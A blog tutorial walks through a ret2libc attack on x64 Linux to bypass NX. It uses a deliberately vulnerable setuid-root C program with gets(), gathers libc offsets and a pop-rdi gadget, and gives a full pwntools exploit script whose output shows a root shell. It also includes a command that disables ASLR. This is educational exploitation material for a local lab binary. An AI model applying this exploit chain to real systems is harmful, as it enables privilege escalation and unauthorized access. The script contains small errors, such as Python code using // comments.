Search This Blog

Sunday, April 10, 2022

Bypass NX | Ret2Libc Exploitation Trick | x64 Arch




We've looked at basic buffer overflows and we've seen how other memory regions can be overwritten to ultimately redirect program execution to whatever we want. As developers have become more aware to this type of attack, they have developed security mechanisms in place so that we as hackers won't be able to pull off such an attack. This paper will address this binary exploitation technique for bypassing the NX protection on x64-bit architecture on Linux. We know the stack based buffer overflow attack exploits a buffer which has been allocated on the stack....and that overwrite accesses different regions in memory, with the goal to overwrite RIP or EIP (for x32-bit systems) to inject either shellcode to spawn a root shell. With modern security protections in place, like NX such attacks are useless. NX, in more detail, is a security mechanism that, if turned on, allows the stack to be non-executable, which means that if we had to overwrite a buffer located on the stack, we wouldnt be able to execute any injected shellcode. There are other security protections such as ASLR (Address Stack Layout Randomization), Stack Canaries and RELRO... which will be discussed in future papers. Since NX protection is enabled, we will need to look for another mechanism to bypass this protection and spawn a root shell, and this trick is called ret2libc. This attack does not require an attacker to inject any shellcode, which is makes it more versatile. Whenever a C Program is written, there are functions such as printf(), scanf() etc. All these functions are identified because in C, there is a standard library that is called to access these functions, and that library is called the libc library. Libc is available on the system you're using to read this and is very independant as C written programs depend on it to for function. calls rather than the other way round. To illustrate this attack, you need to disable ASLR on your system in order for the ret2libc vulnerability search and exploitation is successful as ASLR randomizes the location of libc in memory....ultimately making it a hassle to execute flawlessly. If you happen to be following along, you will need access to a linux terminal as well as some additional tools such as pwntools, ROPGadgets and also the exact same version of the libc library.

user@kaizen:~/ret2libc-paper$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

The command above will disable ASLR on your linux system as ASLR is enabled by default. Consider the following:


#include stdio.h>

void receive_feedback()
{
    char buffer[64];

    puts("Please leave your comments for the server admin but DON'T try to steal our flag.txt:\n");
    gets(buffer);
}

int main()
{
    setuid(0);
    setgid(0);

    receive_feedback();

    return 0;
}

The code is simple. It has two functions which are main() and buffer(). The main() sets the user id to 0 as well as the group id to 0 as well (0 = root). It also calls on the receive_feedback() function which initializes a character buffer of 64 bytes, uses the gets() function, which is known to be a vulnerable function which fails to check if the user input has surpassed the number of bytes allocated on the buffer. We can go onwards and check the protections on the binary for confirmation.


user@kaizen:~/ret2libc-paper$ checksec --file vuln
[*] '/home/chris/writeups-by-kaizen/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Now that we've confirmed that NX is enabled, we can analyze in gdb to ensure that we overwrite the RIP (Instruction Pointer) as well as look for the offset of the system() function within the libc library in memory. We do this because any shellcode injected onto the stack won't execute because of the NX protection. Firstly, we can find the base address to the libc library using the ldd command. Like so:


user@kaizen:~/ret2libc-paper$ ldd ./vuln
        linux-vdso.so.1 (0x00007ffff7fca000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7dc7000)
        /lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcc000)

The base address of libc is 0x00007ffff7dc7000. We will use this to craft the exploit later on. The next step will be to find the offset within this address towhere we can access the system() function and the exit() function. We can do this utilising the 'readelf' command in linux.


user@kaizen:~/ret2libc-paper$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep "system"
  1467: 0000000000049860    45 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.2.5

We now have the system() function offset within memory (0000000000049860). Now we look for the exit() function using the same command, just replacing "system" with "exit".


user@kaizen:~/ret2libc-paper$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep "exit"
   139: 000000000003f100    26 FUNC    GLOBAL DEFAULT   15 exit@@GLIBC_2.2.5
   567: 00000000000caf20    72 FUNC    GLOBAL DEFAULT   15 _exit@@GLIBC_2.2.5
   626: 0000000000131680    37 FUNC    GLOBAL DEFAULT   15 svc_exit@GLIBC_2.2.5
   659: 0000000000138810    23 FUNC    GLOBAL DEFAULT   15 quick_exit@GLIBC_2.10
  2264: 000000000003f120   276 FUNC    WEAK   DEFAULT   15 on_exit@@GLIBC_2.2.5

Now we have the offset of the exit() function within the libc library in memory. We now have the address of system() and exit(). What next? Remember, we want to pop a root shell, so we will need to find the address of where '/bin/sh' is on order to pop a shell.


user@kaizen:~/ret2libc-paper$ strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
 198882 /bin/sh

By using strings with the flags -a and -t with the libc library of the vulnerable executable, piping that to grep to look for the string "/bin/sh", we successfully leaked the address where the string /bin/sh is in memory. In x64-bit, we will not be able to pass the address of the string /bin/sh to the return pointer. We will need to put it in the RDI register. To do this, we will make use of rop gadgets.


user@kaizen:~/ret2libc-paper$ ropper --file vuln
========
GADGETS
========
0x0000000000401091: adc dword ptr [rax], eax; call qword ptr [rip + 0x2f56]; hlt; nop dword ptr [rax + rax]; ret;                                                         
0x000000000040108a: adc dword ptr [rax], eax; mov rdi, 0x40117a; call qword ptr [rip + 0x2f56]; hlt; nop dword ptr [rax + rax]; ret;                                      
0x00000000004010fe: adc dword ptr [rax], edi; test rax, rax; je 0x1110; mov edi, 0x404048; jmp rax;                                                                       
0x0000000000401095: adc eax, 0x2f56; hlt; nop dword ptr [rax + rax]; ret;            
0x00000000004010bc: adc edi, dword ptr [rax]; test rax, rax; je 0x10d0; mov edi, 0x404048; jmp rax;                                                                       
0x0000000000401099: add ah, dh; nop dword ptr [rax + rax]; ret;                                                                                                           
0x0000000000401093: add bh, bh; adc eax, 0x2f56; hlt; nop dword ptr [rax + rax]; ret;                                                                                     
0x000000000040100a: add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret;                                                                   
0x000000000040116e: add byte ptr [rax], al; add byte ptr [rax], al; call 0x1040; nop; leave; ret;                                                                         
0x000000000040119d: add byte ptr [rax], al; add byte ptr [rax], al; call 0x1152; mov eax, 0; pop rbp; ret;                                                                
0x00000000004011a7: add byte ptr [rax], al; add byte ptr [rax], al; pop rbp; ret;                                                                                         
0x00000000004010be: add byte ptr [rax], al; add byte ptr [rax], al; test rax, rax; je 0x10d0; mov edi, 0x404048; jmp rax;                                                 
0x0000000000401100: add byte ptr [rax], al; add byte ptr [rax], al; test rax, rax; je 0x1110; mov edi, 0x404048; jmp rax;                                                 
0x0000000000401170: add byte ptr [rax], al; call 0x1040; nop; leave; ret;            
0x000000000040119f: add byte ptr [rax], al; call 0x1152; mov eax, 0; pop rbp; ret;                                                                                        
0x00000000004011a9: add byte ptr [rax], al; pop rbp; ret;                                                                                                                 
0x0000000000401212: add byte ptr [rax], al; sub rsp, 8; add rsp, 8; ret;                                                                                                  
0x0000000000401009: add byte ptr [rax], al; test rax, rax; je 0x1012; call rax;                                                                                           
0x0000000000401009: add byte ptr [rax], al; test rax, rax; je 0x1012; call rax; add rsp, 8; ret;                                     
0x00000000004010c0: add byte ptr [rax], al; test rax, rax; je 0x10d0; mov edi, 0x404048; jmp rax;                                                                         
0x0000000000401102: add byte ptr [rax], al; test rax, rax; je 0x1110; mov edi, 0x404048; jmp rax;                                                                         
0x0000000000401098: add byte ptr [rax], al; hlt; nop dword ptr [rax + rax]; ret;                                                                                          
0x000000000040109e: add byte ptr [rax], al; ret;                            
0x000000000040109d: add byte ptr [rax], r8b; ret;                                                                                                                         
0x0000000000401137: add byte ptr [rcx], al; pop rbp; ret;                                                                                                                 
0x0000000000401092: add dil, dil; adc eax, 0x2f56; hlt; nop dword ptr [rax + rax]; ret;                
0x0000000000401006: add eax, 0x2fed; test rax, rax; je 0x1012; call rax;                                                                                                  
0x0000000000401006: add eax, 0x2fed; test rax, rax; je 0x1012; call rax; add rsp, 8; ret;                                                                                 
0x0000000000401013: add esp, 8; ret;                                

These are the available rop gadgets we can use for our exploit. But we want to use the "pop rdi, ret" gadget in order to place the /bin/sh string into rdi. We can do that by using 'ropper' again, except that we can search for the type of gadget we want and it will print out the memory address of the gadget.


user@kaizen:~/ret2libc-paper$ ropper --file vuln --search "pop rdi"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: vuln
0x000000000040120b: pop rdi; ret; 

Now that we've found the rop gadget, we need to begin writing the exploit in order for us to lay all our findings. I will be using pwntools which makes exploit Development easier. Below is the full exploit to exploit the vulnerability and bypass NX.


user@kaizen:~/ret2libc-paper$ cat x.py 

#!/usr/bin/python3
from pwn import *

t = process('./vuln')
context.log_level = 'debug'

libc_addr = 0x00007ffff7dc7000
system_addr = libc_addr + 0x49860		// Added the offset of the system() in libc to the base address of libc
bin_sh = libc_addr + 0x198882

POP_RDI = 0x40120b				// "pop rdi, ret"

exploit = b'A' * 72				// padding. 64 + 8 additional bytes (x64) = 72 for RIP overwrite
exploit += p64(POP_RDI)				// ROP Gadget
exploit += p64(bin_sh)				// Address of /bin/sh() string in libc in memory
exploit += p64(system_addr)			// Address of system() function in libc
exploit += p64(0x0)				// return pointer

t.clean()
t.sendline(exploit)
t.interactive()

Now we run the exploit script


user@kaizen:~/ret2libc-paper$ python3 x.py 
[+] Starting local process './vuln': pid 87648
[DEBUG] Received 0x55 bytes:
    b"Please leave your comments for the server admin but DON'T try to steal our flag.txt:\n"
[DEBUG] Received 0x1 bytes:
    b'\n'
[DEBUG] Sent 0x69 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000040  41 41 41 41  41 41 41 41  0b 12 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000050  82 f8 f5 f7  ff 7f 00 00  60 08 e1 f7  ff 7f 00 00  │····│····│`···│····│
    00000060  00 00 00 00  00 00 00 00  0a                        │····│····│·│
    00000069
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
    b'whoami\n'
[DEBUG] Received 0x6 bytes:
    b'root\n'
root
$  

WE NOW HAVE A ROOT SHELL!!! We successfully used the ret2libc technique to bypass NX and pop a root shell Successfully Exploited. This is my own official outlook on the ret2libc attack and would love to share more. 

No comments:

Post a Comment